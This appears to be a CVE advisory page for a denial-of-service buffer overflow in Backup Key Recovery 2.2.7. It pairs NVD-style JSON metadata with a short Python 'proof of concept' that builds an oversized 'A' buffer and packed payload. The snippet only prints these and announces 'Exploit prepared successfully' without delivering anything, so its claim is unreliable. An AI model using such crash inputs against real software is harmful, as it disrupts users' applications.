CVE-2021-47813

python import struct # CVE-2021-47813 PoC registration_code = 'A' * 300 # 超过缓冲区大小 # 构造恶意输入 payload = struct.pack('<I', 0x41414141) * 75 # 填充数据 print(f"Registration Code: {registration_code}") print(f"Payload Length: {len(payload)}") print(f"Exploit prepared successfully")

{"cve": {"id": "CVE-2021-47813", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:26.640", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Backup Key Recovery 2.2.7 contains a denial of service vulnerability that allows attackers to crash the application by overflowing the registration code input field. Attackers can paste a large buffer of 256 repeated characters into the registration key field to trigger application instability and potential crash."}, {"lang": "es", "value": "Backup Key Recovery 2.2.7 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes provocar la caída de la aplicación desbordando el campo de entrada del código de registro. Los atacantes pueden pegar un búfer grande de 256 caracteres repetidos en el campo de la clave de registro para desencadenar inestabilidad en la aplicación y una posible caída."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "http://www.nsauditor.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49966", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/backup-key-recovery-denial-of-service-poc", "source": "[email protected]"}]}}